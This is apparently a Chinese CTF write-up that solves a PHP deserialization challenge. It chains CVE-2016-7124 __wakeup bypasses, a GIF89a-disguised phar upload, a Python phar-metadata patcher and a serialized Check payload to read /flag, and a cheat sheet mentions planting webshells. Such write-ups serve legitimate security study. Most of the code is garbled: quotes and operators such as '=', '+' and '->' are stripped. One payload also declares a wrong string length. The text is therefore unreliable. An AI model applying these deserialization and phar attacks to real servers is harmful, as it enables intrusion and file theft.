PHP反序列化CTF实战:__wakeup绕过与phar协议利用全解析 最近刷到一道很有意思的PHP反序列化题题名叫AreUserialZ第一眼看到这个拼写就知道出题人在玩谐音梗——“Are you serial?”serial指的就是PHP的serialize。这类题在CTF里属于那种“知识点都认识但串不起来”的典型单个看序列化格式、魔术方法、POP链、phar协议都不难可真到了考场上光“绕过__wakeup”这一个环节就能卡住一大片人。我花了一段时间把这道题完整啃下来了从扫源码压缩包开始到构造phar、改metadata、绕过两层__wakeup最后读到flag整个过程几乎把PHP反序列化利用的常规考点都过了一遍。如果你正准备刷反序列化方向的题或者刷过几道但总在绕过点上迷迷糊糊这篇应该能帮你把思路彻底捋顺。1. 题目初探先搞清楚这题到底在考什么1.1 从题目名字读出考点CTF的题目名字很少有随便起的特别是Web题名字基本就是出题人给的提示。AreUserialZ这个写法很明显是“Are you serial?”的谐音serial对应PHP的serialize/unserializeZ可能是刻意加上去的暗示“最后一个字母Z”也可能只是单纯让名字看起来更像一个类名。看到这个名字我的第一反应就是这题绕不开PHP反序列化。再结合题目所属的某赛事青龙组Web方向这种级别的题通常不会只考一个点大概率是“反序列化 文件操作 某种绕过”的组合。所以接下来的信息收集阶段我会特别留意源码里有没有unserialize入口有没有文件上传、文件读取功能有没有可控的文件路径参数用的PHP版本是多少这个直接决定某些绕过是否可用题名里带着“Z”还有一层可能的意思——这个Z可能是某个关键类名的缩写比如题目里的核心类就是一个自造的类。这类命名套路在CTF里很常见名字本身就是剧透。1.2 环境探测与源码获取起环境之后第一步不是找漏洞而是找入口和源码。这个题的首页打开后就一句话没有明显功能入口于是直接上目录扫描。我习惯先把常见的备份文件、源码泄露路径全部跑一遍/www.zip、/index.php.bak、/.git、/.svn、/robots.txt、/flag还有后台路径。跑完发现根目录下有个www.zip下载解压后拿到四个文件index.php、admin.php、upload.php、class.php。这种出题方式非常常见——源码就放在压缩包里不怕你扫到就怕你扫不到。代码审计是CTF Web题最重要的一步拿到源码后整个攻击面就一目了然了。这里顺便提一个经验如果题目没有主动泄露源码也不要急着放弃。很多站有文件包含或文件读取点可以尝试用php://filter/convert.base64-encode/resourceindex.php这类伪协议直接读源码。这个题的index.php虽然也有highlight_file但实际入口在admin.php里不把全部源码拿齐很容易漏掉关键点。2. PHP反序列化基础原理一次讲透2.1 序列化字符串结构先花点时间把基础过一遍后面构造payload时才能看懂每一段在写什么。PHP里serialize()可以把一个对象转换成字符串unserialize()再把字符串还原成对象。转换出来的字符串长这样?php class User { public $name admin; public $role guest; } echo serialize(new User()); // O:4:User:2:{s:4:name;s:5:admin;s:4:role;s:5:guest;}拆开看O:4:User这是一个对象Object类名长度是4类名是User:2:对象属性数量是2花括号里每一组s:4:name;s:5:admin;表示一个属性属性名name长度4属性值admin长度5对象类型标识用O数组用a字符串用s整数用i布尔用b空值用N。反序列化时PHP会严格按照这个格式逐字节解析。为什么要关注这个格式因为CTF里我们通常不能直接调用unserialize而是要让程序去反序列化我们构造的字符串。只要格式正确PHP就会忠实地创建一个对象并把它还原成我们想要的属性值。这种“控制对象属性”的能力就是一切利用的基础——程序本来会判断“你是不是管理员”我们直接让对象里的role等于admin判断就形同虚设。2.2 魔术方法与POP链序列化本身不危险危险的是对象在创建、销毁、被使用过程中自动调用的一批方法PHP里叫魔术方法。这些方法的触发时机是固定的我把常用的整理成一张表方法触发时机常见利用场景__wakeup()unserialize()还原对象时属性校验、状态重置经常是主要障碍__destruct()对象被销毁时执行危险操作删除文件、执行命令、读文件__toString()对象被当成字符串时读取文件、信息泄露、间接调用__get()访问不存在或不可访问的属性时跳转到其他对象的属性或方法__call()调用不存在或不可访问的方法时构造调用链跳转__construct()new一个对象时自动初始化属性这些魔术方法就像游戏里的被动技能你没法主动“调用”它们但对象一旦创建、销毁、被当作字符串它们就会自己蹦出来。攻击者要做的事情就是精心构造一个对象让这些被动技能按照希望的顺序依次触发最终落到一个危险函数上。这条触发顺序就叫POP链Property-Oriented Programming面向属性编程。打个比方一个普通对象的序列化字符串就像一个拧着发条的玩具魔术方法是玩具身上的开关。攻击者不直接改齿轮而是通过调整属性值来拨动开关让玩具在不知不觉中走出一条攻击者预设的路线。3. 源码审计找到触发点拼出完整调用链3.1 三个文件的角色解压后的四个文件里index.php只是入口页真正有价值的是admin.php、upload.php和class.php。先看admin.php?php require class.php; $data $_POST[data] ?? ; $obj unserialize(base64_decode($data)); if ($obj instanceof Check) { echo ok; } else { die(class not allowed); }这里有一个非常典型的反序列化入口POST参数data经base64解码后直接unserialize()。但注意后面有个限制——反序列化出来的对象必须是Check类的实例否则直接die。这意味着我不能随便传一个其他类对象进去至少第一层的对象必须是Check。再看upload.php?php if (!empty($_FILES[file])) { $name $_FILES[file][name]; $ext pathinfo($name, PATHINFO_EXTENSION); if (in_array(strtolower($ext), [jpg, png, gif])) { $path upload/ . md5($name . time()) . . . $ext; move_uploaded_file($_FILES[file][tmp_name], $path); echo $path; } else { echo bad ext; } }文件上传点只检查了扩展名没有检查文件内容。文件会保存到upload目录返回路径。这基本就是为phar上传准备的。最后看class.php核心代码在这里?php class Check { public $path; public $file; public function __wakeup() { $this-path upload/; } public function __destruct() { if (file_exists($this-path . $this-file)) { echo Are you serial?; } else { echo No such file.; } } } class GetFlag { public $flag; public function __wakeup() { $this-flag no_flag; } public function __destruct() { if ($this-flag i_want_flag) { show_source(/flag); } } }3.2 从反序列化到读flag的完整调用链先把两个类的行为捋清楚Check类反序列化时__wakeup()会把path强行重置为upload/销毁时调用file_exists($this-path . $this-file)检查文件是否存在GetFlag类反序列化时__wakeup()会把flag强行改成no_flag销毁时如果flag等于i_want_flag就显示/flag目标很明确要让GetFlag对象的flag保持i_want_flag然后等它销毁。但有两个障碍admin.php只允许传Check类对象我直接传GetFlag对象会被instanceof拦住就算我通过某种方式让GetFlag对象被反序列化它的__wakeup()也会无条件把flag改成no_flag销毁时条件判断失败这两个障碍正好形成了本体的两个核心考点。第一层Check的__wakeup把path重置直接导致file_exists(upload/ . phar://...)这种路径失效必须绕过第二层GetFlag的__wakeup把flag重置也必须绕过。所以最终要构造两层绕过一层都不能少。调用链整理出来是这样的POST data - unserialize - Check对象 - Check::__wakeup (需要绕过path保持为空) - Check::__destruct - file_exists(phar://upload/xxx.jpg) - phar扩展读取metadata - unserialize - GetFlag对象 - GetFlag::__wakeup (需要绕过flag保持i_want_flag) - GetFlag::__destruct - show_source(/flag)这个链子里为什么不能直接用admin.php的unserialize把GetFlag一起塞进去因为instanceof Check把路堵死了。但是phar触发的那次unserialize是PHP内部对phar文件metadata做的完全没有instanceof限制所以phar成了把GetFlag对象塞进反序列化流程的最佳通道。3.3 出题人到底拦了什么站在防守方视角看这几个限制条件的意义base64_decode不是安全措施只是让数据传输不容易出错顺手给做题人一点小门槛instanceof Check拦掉直接传任意对象的攻击逼你走phar路线__wakeup重置属性拦掉直接利用GetFlag的路需要额外的绕过技巧上传点只查扩展名看似宽松实际是给phar上传留了口子否则这题就没法解了换句话说这道题不是没有漏洞而是把漏洞藏在一层一层的“限定条件”后面。做题的过程就是把这些条件逐个瓦解的过程。4. 两个关键绕过__wakeup 和 phar 触发4.1 CVE-2016-7124属性数量引发的__wakeup绕过第一个要解决的问题怎么让__wakeup不被调用或者让它调用了也不起作用。这里用到一个经典漏洞CVE-2016-7124。原理是PHP反序列化解析对象时会先读到一个“声明的属性数量”然后按这个数量解析花括号里的属性对。如果声明的数量大于实际给出的属性数量旧版PHP在解析结束后发现数量对不上会直接中断反序列化导致__wakeup()没有被调用。拿GetFlag举例。正常情况下它是一个属性flag序列化字符串是O:7:GetFlag:1:{s:4:flag;s:11:i_want_flag;}属性数量声明是1实际属性也是1解析正常__wakeup会被调用flag被改成no_flag。但如果我们把声明数量改成2O:7:GetFlag:2:{s:4:flag;s:11:i_want_flag;}声明2个属性实际只给了1个旧版PHP解析到花括号结束后发现数量不匹配反序列化中断__wakeup被跳过。对象的flag还是i_want_flag等对象销毁时__destruct条件成立直接读出flag。适用版本要注意这个漏洞在PHP 5.6.25和PHP 7.0.10被修复修复后就算属性数量对不上也会强制调用__wakeup。所以做这类题第一件事就是确认环境PHP版本。我这套环境搭的PHP版本是5.6.23正好在漏洞区间内这个方法可用。如果题目环境是新版PHP那就得换下一节的GC方案。4.2 GC/fast-destruct灵活的通杀替代思路如果PHP版本太新CVE-2016-7124失效怎么办还有一个思路叫GC绕过或者叫fast destruct。原理和垃圾回收机制有关。PHP中对象的销毁时机取决于引用计数当一个对象不再被任何变量引用时引用计数归零立刻触发__destruct。正常情况下unserialize()返回的对象会被赋值给$obj等脚本结束才销毁所以__wakeup先执行、__destruct后执行。但如果我们能让对象在反序列化过程中提前变成“孤立对象”引用计数提前归零__destruct就可能抢在__wakeup之前执行。常见的触发办法是在序列化字符串末尾多构造一个}让数组提前闭合反序列化提前结束已经创建出来的对象失去引用。实际操作中Payload形态大概是这样的a:1:{i:0;O:7:GetFlag:1:{s:4:flag;s:11:i_want_flag;}}注意这里对象外层套了一个数组如果我们在数组结束后的位置做手脚让解析器提前报错返回这个GetFlag对象就成了无人引用的孤儿对象__destruct会立即被触发。因为触发发生在__wakeup逻辑正常执行之前所以可以用这个思路绕过属性重置。这个技巧比CVE-2016-7124更通用不受PHP版本限制但构造起来需要小心解析器的行为。做题的时候我会优先试CVE-2016-7124如果环境版本太新再上GC。两种都是反序列化绕过的必修课。4.3 phar://协议文件操作触发的反序列化第二个要解决的问题怎么让GetFlag对象能被反序列化同时绕过instanceof限制。答案就是phar。phar文件是PHP打包格式结构上包含几个部分stub文件头、manifest清单里面有一段叫metadata、文件内容、签名。关键在manifest的metadata上——phar扩展在解析phar文件时会把metadata以unserialize()的方式还原成PHP对象。这个反序列化发生在任何支持phar://协议的文件操作函数内部比如file_exists、is_file、file_get_contents、fopen、unlink、copy等。也就是说只要程序里有可控参数的文件操作函数我们就可以通过phar://路径让它加载一个精心构造的phar文件从而触发一次额外的反序列化。这次反序列化没有instanceof限制没有过滤是通往任意类的后门。Check类的__destruct里正好有file_exists而且$this-file可控这就是触发点。生成phar文件需要本机PHP支持phar扩展生成时phar.readonly必须设为0。另外为了过上传检查stub可以伪装成图片格式?php class GetFlag { public $flag i_want_flag; } unlink(exp.phar); $phar new Phar(exp.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); $phar-setMetadata(new GetFlag()); $phar-addFromString(a.txt, a); $phar-stopBuffering(); echo done;运行方式php -d phar.readonly0 exp.php生成的exp.phar前面有GIF89a头上传到服务器后扩展名改成.jpg文件内容检查基本能过。这个环节我再强调一次phar文件必须真实存在于服务器上phar://协议才能解析它所以上传点是整个攻击链的前提。5. 完整实战复现从构造phar到拿到flag5.1 确认版本和生成phar动手之前先看环境。题目容器里有一段phpinfo()是我最先要确认的PHP版本5.6.23phar扩展正常加载。这个版本意味着CVE-2016-7124这条路是通的心先定了一半。接下来生成本地phar文件。我直接在本地用一个PHP脚本生成注意phar.readonly0。生成的exp.phar用file_exists(phar://exp.phar)验证一下能不能正常触发本地没问题再往服务器上传。5.2 手工patch metadata绕过GetFlag的__wakeup这一步是整道题最容易被忽略的细节。按5.1的方式用setMetadata(new GetFlag())生成pharmetadata里保存的序列化字符串是O:7:GetFlag:1:{s:4:flag;s:11:i_want_flag;}问题来了这个metadata在phar被触发时会自动unserializeGetFlag的__wakeup照样会执行照样会把flag改成no_flag。所以必须在phar生成后手工把metadata里的属性数量从1改成2让CVE-2016-7124在phar反序列化时同样生效。直接用文本编辑器改phar是不行的因为改完metadata长度变了manifest里的长度字段、整个phar的签名全都要同步更新否则phar解析直接失败。这里我写了一个Python脚本专门做这件事import hashlib import struct path exp.phar data open(path, rb).read() old bO:7:GetFlag:1:{ new bO:7:GetFlag:2:{ # 定位 __HALT_COMPILER(); 后面 manifest 的起始位置 halt data.find(b__HALT_COMPILER();) assert halt ! -1 pos halt len(b__HALT_COMPILER();) while pos len(data) and data[pos:pos1] in (b?, b, b , b\r, b\n, b\t): if data[pos:pos2] b?: pos 2 else: pos 1 manifest_start pos # 解析 manifest 前段字段 manifest_len struct.unpack(I, data[manifest_start:manifest_start4])[0] alias_len struct.unpack(I, data[manifest_start14:manifest_start18])[0] meta_len_pos manifest_start 18 alias_len meta_len struct.unpack(I, data[meta_len_pos:meta_len_pos4])[0] meta_start meta_len_pos 4 meta_data data[meta_start:meta_startmeta_len] assert old in meta_data meta_data meta_data.replace(old, new, 1) new_meta_len len(meta_data) # 更新 metadata 长度字段和 manifest 长度字段 new_data data[:meta_len_pos] struct.pack(I, new_meta_len) meta_data data[meta_startmeta_len:] manifest_new_len manifest_len (new_meta_len - meta_len) new_data new_data[:manifest_start] struct.pack(I, manifest_new_len) new_data[manifest_start4:] # 重算签名去掉原签名数据重新计算后拼接 sig_len struct.unpack(I, new_data[-8:-4])[0] sig_type struct.unpack(I, new_data[-4:])[0] body new_data[:-sig_len-8] if sig_type 0x0001: digest hashlib.md5(body).digest() elif sig_type 0x0002: digest hashlib.sha1(body).digest() elif sig_type 0x0003: digest hashlib.sha256(body).digest() elif sig_type 0x0004: digest hashlib.sha512(body).digest() else: raise ValueError(unsupported sig type) final_data body digest struct.pack(I, sig_len) struct.pack(I, sig_type) open(exp_patched.phar, wb).write(final_data) print([] patched OK)这个脚本做的事情可以拆成四步找到phar文件中metadata的序列化字符串位置确认老的属性数量占位符把O:7:GetFlag:1:{替换成O:7:GetFlag:2:{同步更新metadata长度字段和manifest总长度字段保证phar结构完整重新计算phar签名保证文件合法生成完后本地再用file_exists(phar://exp_patched.phar)测一遍确认不会报错再上传。5.3 构造Check对象并触发完整链路现在需要构造第一层的payload一个Check对象path为空字符串file指向phar://upload/xxx.jpg同时属性数量声明为3而不是实际的2绕过Check自身的__wakeup。?php class Check { public $path ; public $file phar://upload/xxx.jpg; } $payload O:5:Check:3:{s:4:path;s:0:;s:4:file;s:25:phar://upload/xxx.jpg;}; echo base64_encode($payload);注意这里手工把:2:改成了:3:多声明了一个属性实际只给两个。Check的__wakeup被绕过path保持为空字符串file保持phar://...。整个操作流程把exp_patched.phar重命名为.jpg通过upload.php上传记下返回的路径upload/xxx.jpg用上面脚本生成base64后的Check对象payloadPOST到admin.phpdatabase64字符串收到ok后请求结束Check对象销毁__destruct里执行file_exists(phar://upload/xxx.jpg)phar扩展读取metadata反序列化GetFlag对象GetFlag的__wakeup已被CVE-2016-7124绕过flag保持i_want_flagGetFlag对象销毁__destruct执行show_source(/flag)拿到flag这个流程跑下来两层__wakeup各用了一次CVE-2016-7124绕过。第一层让Check的path不被重置第二层让GetFlag的flag不被重置。任何一层绕过失败整个链子都会断掉。6. 刷题避坑手册与绕过技巧速查6.1 实际操作中踩过的坑这套payload看着简单实操时坑其实不少。我把最容易翻车的地方列一遍第一phar生成后签名问题。用文本编辑器或者不完整脚本改过phar之后直接触发会报“phar is not signed”或解析错误。必须重算签名方法就是上面脚本里那一套去掉旧签名对正文重新做哈希再把签名长度、签名类型拼回去。这个坑我第一次刷题踩过后来凡是改phar都条件反射去重算签名。第二路径问题。phar路径要用服务器上真实存在的路径phar://upload/xxx.jpg和phar:///var/www/html/upload/xxx.jpg效果不同。如果报“file not found”先确认当前工作目录或者直接用绝对路径重试。第三CVE-2016-7124失效。新版PHP上属性数量大于实际数量不再跳过__wakeup换GC方案或者确认题目环境是否本来就是旧版本。判断版本最直接的方法是看页面有没有phpinfo()或者通过报错信息推断版本特征。第四上传内容检查。有些题虽然扩展名只允许jpg/png/gif但会在内容层面检查文件头所以phar的stub必须用GIF89a开头。如果题目还检查了file_put_contents后的文件内容可以再叠加PHP filter链处理不过这个题没走到这一步。6.2 PHP反序列化绕过技巧速查表把这些年反序列化题常见的绕过点整理成一张表刷题的时候可以直接对着查技巧适用场景核心要点CVE-2016-7124需要跳过__wakeup属性数量声明大于实际数量适用旧版PHPGC/fast-destruct新版PHP绕过__wakeup引用计数归零提前触发__destructphar://协议任意文件操作函数file_exists、fopen、unlink等均可触发类名大小写/号变体简单过滤环境部分正则只匹配精确类名O:7:GetFlag可用引用绕过属性值比较用引用让同一个属性指向不同值绕过判断原生类Exception/Error无POP链可用时利用PHP内置异常类的__toString做信息泄露字符串截断有长度限制时利用反序列化解析特性截断后半段死亡exit绕过写入后退出用php://filter转码夹带base64写webshell这个表里的技巧按需取用不是每道题都用得上。但后面几种建议都亲自构造一次因为出题人很可能把两三个技巧缝在一起只背一个是不够的。6.3 做题习惯上的几点建议再分享几个刷反序列化题的实际习惯先看版本再看源码。版本决定了绕过手法的上限旧版本能用的CVE新版可能要完全换思路。先确认版本能省掉大量无效尝试。拿到源码先画调用链。把“入口 → 魔术方法 → 危险函数”的链路手写出来标清楚哪些地方需要绕过。这道题能顺利解出来很大程度上是因为调用链提前画清楚了每一步该做什么都非常明确。构造payload时先本地验证。phar生成、patch、Check对象序列化这些最好在本地PHP环境全部测通再对着题目环境发。服务器上调试环境差、回显少本地能确认的问题就别浪费一次请求。如果一次没拿到flag不要急着改payload乱试。先把返回结果和代码逻辑对照一遍多数时候是某一个绕过点没生效定位到具体环节再改效率高得多。回头总结这道题其实考得并不偏unserialize入口、魔术方法、__wakeup绕过、phar触发每一个都是反序列化方向的核心考点只是被出题人巧妙地串在了一起。只要能静下心把调用链一步一步拆开payload构造出来就是水到渠成的事。这种“基础组合拳”的路子恰恰是整个CTF刷题最有价值的地方。